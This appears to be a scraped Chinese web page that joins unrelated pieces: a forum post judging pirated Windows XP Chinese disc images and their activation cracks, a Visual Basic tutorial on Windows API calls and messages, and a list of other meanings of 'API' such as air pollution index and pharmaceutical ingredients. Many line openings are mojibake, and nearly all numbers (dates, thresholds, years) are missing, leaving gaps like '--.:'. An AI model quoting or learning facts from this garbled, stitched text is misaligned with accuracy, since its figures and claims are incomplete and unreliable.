       9.RTL.:WX.4_PRO_RTL_TW中文正式版的版本是EULAID:WX.4_PRO_RTL_CN

       《反对一反驳》

       Windows XP中文版版本提供各位参考:

       关于繁体中文版本,小弟提供目前所知。最早出现的应该是:

       1.cht__xfre.pro_whistler.iso这个版本,看档名就知道,这是天评估版本。因为Fre的关系,文件名称有Fre代表这是测试版。

       2.OEM.版的,我所知最早是在edonkey这个分享软件流通的,可惜的是流通的并不是ISO文件,而是从光盘制造出来的版本,这个版本我有装过,应该是正式的OEM版,需要产品激活。

       3.FXP@HK版:这个版本是用中文天评估版去破解的,很可惜,破解失败,不仅在产品激活的破解有问题,就连天试用都没有破解。建议大家不要浪费时间下载这版本。

       4.RVL@TW版:号称是正式版,不过我强烈质疑!我确定它是用某个中文版本+英文版的Corpfiles破解,只要输入VLK(Volume.license.Key.大量授权版本序号,或称为企业版、Corporate版),不用产品印V领的中文版本修改了,只有它们知道。另外,大家都把.RVL.和RTL(Retail)搞错了,RVL是一个Warez.Team,Retail是零售意思。

       我提出证据如下:

       (a)看光盘.i下的文件日期,只有Corpfiles.那几个文件日期和其它不一样,Corpfiles的文件日期是.-8-,其它文件--。很明显的,这是用

       Corpfiles破解过的。

       (b)再看一次.i下的文件日期,从--.:→--.:依序递增。为什么会这样,因为这些文件是从某个压缩档或.ISO文件解压缩到硬盘,才会有日期依序递增的现象。一般Windows的原版光盘的文件日期、时间都会一样。

       (c)来看一下.i\eula.txt这个文件,eula.id:WX.4_PRO_RTL_TW.看起来应该是正式版的ID 的样子,RTL.应该是.Retail.的缩写。大家看到这个ID,都认为它是正式零售版。但是请大家看一下它的文件日期:--.:,很奇怪吧!如果它是和其它文件一起解压出来的,那么文件日期一定介于--.:和--.:之间,可见eula.txt不是先从压缩文件解压出来看看的话(如果真的是这样的话,它的文件时间应该也会在:和:之间,为什么?因为正常人不会在正式解压全部文件时,因为eula.txt事先已经解压出来了,而刻意跳过eula.txt吧),就是从别的地方弄来的或是事先修就改好的,如果是后者的话,那么是从那个版本拿来修改的呢?又为什么要修改呢?

       (d)看CD.Label:WXPFRE_TW.,记得.Beta2的.Label:WB2PFRE_TW吗?微软不可能在正式版产品使用这样的CD.Label。另外,消息指出,英文零售版的.Label:WXPFPP_EN。所以,除非是作者不想让光盘看起来像正式版,不然这个版本就是假正式版。

       5.还有其它一堆.OEM免激活、免激活正式版等等的,这些都是.利用.OEM、Fre.这些版本+Corpfiles.破解,再烧成可开机光盘的,看它们的CD.Label更是五花八门。

关于API?

       API(Application Programming Interface,应用程序编程接口)是一套用来控制Windows的各个部件(从桌面的外观到为一个新进程分配的内存)的外观和行为的一套预先定义的Windows函数.用户的每个动作都会引发一个或几个函数的运行以告诉Windows发生了什么.

       è¿™åœ¨æŸç§ç¨‹åº¦ä¸Šå¾ˆè±¡Windows的天然代码.其他的语言只是提供一种能自动而且更容易的访问API的方法.VB在这方面作了很多工作.它完全隐藏了API并且提供了在Windows环境下编程的一种完全不同的方法.

       è¿™ä¹Ÿå°±æ˜¯è¯´,你用VB写出的每行代码都会被VB转换为API函数传递给Windows.例如,Form1.Print...VB 将会以一定的参数(你的代码中提供的,或是默认参数)调用TextOut 这个API函数.

       åŒæ ·,当你点击窗体上的一个按钮时,Windows会发送一个消息给窗体(这对于你来说是隐藏的),VB获取这个调用并经过分析后生成一个特定事件(Button_Click).

       API函数包含在Windows系统目录下的动态连接库文件中(如User.dll,GDI.dll,Shell.dll...).

       API 声明

       æ­£å¦‚在"什么是API"中所说,API函数包含在位于系统目录下的DLL文件中.你可以自己输入API函数的声明,但VB提供了一种更简单的方法,即使用API Text Viewer.

       è¦æƒ³åœ¨ä½ çš„工程中声明API函数,只需运行API Text Viewer,打开Winapi.txt(或.MDB如果你已经把它转换成了数据库的话,这样可以加快速度.注:微软的这个文件有很多的不足,你可以试一下本站提供下载的api.txt),选择"声明",找到所需函数,点击"添加(Add)"并"复制(Copy)",然后粘贴(Paste)到你的工程里.使用预定义的常量和类型也是同样的方法.

       ä½ å°†ä¼šé‡åˆ°ä¸€äº›é—®é¢˜:

       å‡è®¾ä½ æƒ³åœ¨ä½ çš„窗体模块中声明一个函数.粘贴然后运行,VB会告诉你:编译错误...Declare 语句不允许作为类或对象模块中的 Public 成员...看起来很糟糕,其实你需要做的只是在声明前面添加一个Private(如 Private Declare Function...).--不要忘了,可是这将使该函数只在该窗体模块可用.

       åœ¨æœ‰äº›æƒ…况下,你会得到"不明确的名称"这样的提示,这是因为函数.常量或其他的什么东西共用了一个名称.由于绝大多数的函数(也可能是全部,我没有验证过)都进行了别名化,亦即意味着你可以通过Alias子句使用其它的而不是他们原有的名称,你只需简单地改变一下函数名称而它仍然可以正常运行.

       ä½ å¯ä»¥é€šè¿‡æŸ¥çœ‹VB的Declare语句帮助主题来获取有关Alias的详细说明.

       æ¶ˆæ¯(Messages)

       å¥½äº†,现在你已经知道什么是API函数了,但你也一定听说过消息(如果你还没有,你很快就会)并且想知道它是什么.消息是Windows告诉你的程序发生了哪些事件或要求执行特定操作的基本方法.例如,当用户点击一个按钮,移动鼠标,或是向文本框中键入文字时,一条消息就会被发送给你的窗体.

       æ‰€æœ‰å‘送的消息都有四个参数--一个窗口句柄(hwnd),一个消息编号(msg)还有两个位长度(Long)的参数.

       hwnd即要接受消息的一个窗口的句柄,msg即消息的标识符(编号).该标识符是指引发消息的动作类型(如移动鼠标),另外两个参数是该消息的附加参数(例如当鼠标移动时光标的当前位置)

       ä½†æ˜¯,当消息发送给你时你为什么看不到呢--就象有人在偷你的信一样?请先别恼火,让我告诉你.

       å°å·å…¶å®žæ˜¯Visual Basic.但它并没有偷走你的信,而是在阅读了之后挑出重要的以一种好的方式告诉你.这种方式就是你代码中的事件(Event).

       è¿™æ ·,当用户在你的窗体上移动鼠标时,Windows会发送一条WM_MOUSEMOVE消息给你的窗口,VB得到这条消息以及它的参数并运行你在事件MouseMove中的代码,同时VB会把这条消息的第二个位数(它包含了x,y坐标,单位为像素(Pixel),每个位位)转换为两个单精度数,单位为缇(Twip).

       çŽ°åœ¨,如果你需要光标坐标的像素表示,然而VB已经把它转换成了缇,因此你需要重新把它转换为以像素为单位.在这里,Windows给了你所需要的,但VB"好意地"进行了转换而使你不得不重新转换.你可能会问--我难道不能自己接收消息吗?答案是肯定的,你可以使用一种叫做子类处理(Subclass)的方法.但你除非必须否则最好不要使用,因为这与VB的安全程序设计有一点点的违背.(注:子类处理确实有很大的风险,但如果使用得当,是很有用处的.不过有一点一定要注意,即千万不要使用VB的断点调试功能,这可能会导致VB崩溃!)

       éœ€è¦è¡¥å……说明的是:你可以发送消息给你自己的窗口或其他的窗口,只需调用SendMessage或PostMessage(SendMessage会使接受到消息的窗口立刻处理消息,而PostMessage是把消息发送到一个称为消息队列的队列中去,等候处理(它将会在该消息处理完后返回,例如有些延迟)).你必须制定接受消息的窗口的句柄,欲发送消息的编号(所有的消息的编号均为常量,你可以通过API Text Viewer查得)以及两个位的参数。

       API:应用程序接口(API:Application Program Interface)

       åº”用程序接口(API:application programming interface)是一组定义、程序及协议的集合,通过 API 接口实现计算机软件之间的相互通信。API 的一个主要功能是提供通用功能集。程序员通过使用 API 函数开发应用程序,从而可以避免编写无用程序,以减轻编程任务。

       API 同时也是一种中间件,为各种不同平台提供数据共享。根据单个或分布式平台上不同软件应用程序间的数据共享性能,可以将 API 分为四种类型:

       è¿œç¨‹è¿‡ç¨‹è°ƒç”¨ï¼ˆRPC):通过作用在共享数据缓存器上的过程(或任务)实现程序间的通信。

       æ ‡å‡†æŸ¥è¯¢è¯­è¨€ï¼ˆSQL):是标准的访问数据的查询语言,通过通用数据库实现应用程序间的数据共享。

       æ–‡ä»¶ä¼ è¾“:文件传输通过发送格式化文件实现应用程序间数据共享。

       ä¿¡æ¯äº¤ä»˜ï¼šæŒ‡æ¾è€¦åˆæˆ–紧耦合应用程序间的小型格式化信息,通过程序间的直接通信实现数据共享。

       å½“前应用于 API 的标准包括 ANSI 标准 SQL API。另外还有一些应用于其它类型的标准尚在制定之中。API 可以应用于所有计算机平台和操作系统。这些 API 以不同的格式连接数据(如共享数据缓存器、数据库结构、文件框架)。每种数据格式要求以不同的数据命令和参数实现正确的数据通信,但同时也会产生不同类型的错误。因此,除了具备执行数据共享任务所需的知识以外,这些类型的 API 还必须解决很多网络参数问题和可能的差错条件,即每个应用程序都必须清楚自身是否有强大的性能支持程序间通信。相反由于这种 API 只处理一种信息格式,所以该情形下的信息交付 API 只提供较小的命令、网络参数以及差错条件子集。正因为如此,交付 API 方式大大降低了系统复杂性,所以当应用程序需要通过多个平台实现数据共享时,采用信息交付 API 类型是比较理想的选择。

       API 与图形用户接口(GUI)或命令接口有着鲜明的差别:API 接口属于一种操作系统或程序接口,而后两者都属于直接用户接口。

       æœ‰æ—¶å…¬å¸ä¼šå°† API 作为其公共开放系统。也就是说,公司制定自己的系统接口标准,当需要执行系统整合、自定义和程序应用等操作时,公司所有成员都可以通过该接口标准调用源代码,该接口标准被称之为开放式 API。

       å¦ä¸€ç§å«ä¹‰ï¼š

       1:美国石油协会(API:American Petrolenm Institute):

       API/是机械密封的设计和选用标准;

       API 转子泵的标准;

       2:API还有一种含意:空气污染指数。【英文 air pollution index 的缩写】

       ç©ºæ°”污染指数(AIR POLLUTION INDEX,简称API)是一种反映和评价空气质量的方法,就是将常规监测的几种空气污染物的浓度简化成为单一的概念性数值形式、并分级表征空气质量状况与空气污染的程度,其结果简明直观,使用方便,适用于表示城市的短期空气质量状况和变化趋势。

       ç©ºæ°”污染指数的确定原则:空气质量的好坏取决于各种污染物中危害最大的污染物的污染程度。空气污染指数是根据环境空气质量标准和各项污染物对人体健康和生态环境的影响来确定污染指数的分级及相应的污染物浓度限值。目前我国所用的空气指数的分级标准是:(1)空气污染指数(API)点对应的污染物浓度为国家空气质量日均值一级标准;(2)API点对应的污染物浓度为国家空气质量日均值二级标准;(3)API点对应的污染物浓度为国家空气质量日均值三级标准;(4)API更高值段的分级对应于各种污染物对人体健康产生不同影响时的浓度限值,API点对应于对人体产生严重危害时各项污染物的浓度。

       æ ¹æ®æˆ‘国空气污染的特点和污染防治工作的重点,目前计入空气污染指数的污染物项目暂定为:二氧化硫、氮氧化物和总悬浮颗粒物。随着环境保护工作的深入和监测技术水平的提高,再调整增加其它污染项目,以便更为客观地反应污染状况。

       ç©ºæ°”污染指数的计算与报告:

       æ±¡æŸ“指数与各项污染物浓度的关系是分段线性函数(见表1和图1),用内插法计算各污染物的分指数In(具体计算方法请参见《环境监测简报》年第9期),取各项污染物分指数中最大者代表该区域或城市的污染指数。即:API=max(I1,I2···Ii,···In)

       è¯¥æŒ‡æ•°æ‰€å¯¹åº”的污染物即为该区域或城市的首要污染物。当污染指数API值小于时,不报告首要污染物。

       3:在JAVA中,API除了有应用“程序程序接口”的意思外,还特指JAVA API的说明文档,也称为JAVA帮助文档。

       4.API Q1质量体系认证是您向用户证明您有一套API认可的完善的质量管理体系, 有些石油、天然气设备制造商所生产的产品目前没有所适用API会标产品的规范对应, 但他们又想向用户证明他们的产品或服务符合API标准的要求,所以API Q1质量体系认证可以帮您办到。API Q1质量体系认证特别适用于那些所生产的产品没有相应的API会标产品规范所对应的石油、天然气设备生产厂家, 或向石油、天然气行业提供服务的公司。

       5.原料药(Active Pharmaceutical Ingredients): 指的是药物活性成分,也就是我们通常所说的原料药。

       å¦ä¸€ç§å«ä¹‰ï¼š

       ä½¿ç”¨API(应用编程接口,英文全称:Application Programming Interface)构建业务是实现开放式业务结构的关键技术,也是下一代网络区别于传统电信网的主要特点之一。目前,关于下一代网络的开放式业务API标准主要包括:由Parlay组织、3GPP和ETSI SPAN共同制定的Parlay/OSA API以及由SUN公司在Java平台上推出的JAIN API。

       Parlay API是由Parlay组织定义的便于业务开发者快速创建电信业务的应用编程接口,自年成立以来,Parlay组织已制定了4个版本的Parlay协议。开放式业务结构(OSA)是3GPP制定的多媒体业务框架,选定Parlay作为其开放式业务接口API。两者结合的Parlay/OSA API独立于具体的实现技术,可以应用于固定网络、移动网络以及下一代网络的业务提供;独立于具体的实现语言,可以用C、C++、Java等各种语言实现;定义了完善的认证和授权机制,以支持对第3方应用的支持。

       Parlay/OSA API位于由网络运营商管理的Parlay网关和由业务提供商管理的应用服务器之间。Parlay网关对应用服务器屏蔽了下层网络的技术实现细节,使得应用服务器可以使用统一的方式对网络能力进行访问。

       Parlay/OSA API包括两类接口:业务接口和框架接口。业务接口提供应用访问网络能力和信息的接口,框架接口提供业务接口安全、管理所必需的支持能力。业务接口保证用户能够接入传统网络,如呼叫控制、呼叫管理、发送消息、用户交互等;框架接口提供的功能有:业务登记、业务预订、业务发现、认证、授权和综合管理。

       JAIN API和Parlay/OSA API设计思想相近,功能上具有互补性。它采用专一的Java语言实现,并且定义了比较完备的访问各种网络的网络协议API。目前Parlay/JAIN联合工作组正在进行两者的融合工作。

       API:医药活性物原料药

       å‚考资料:/question/.html

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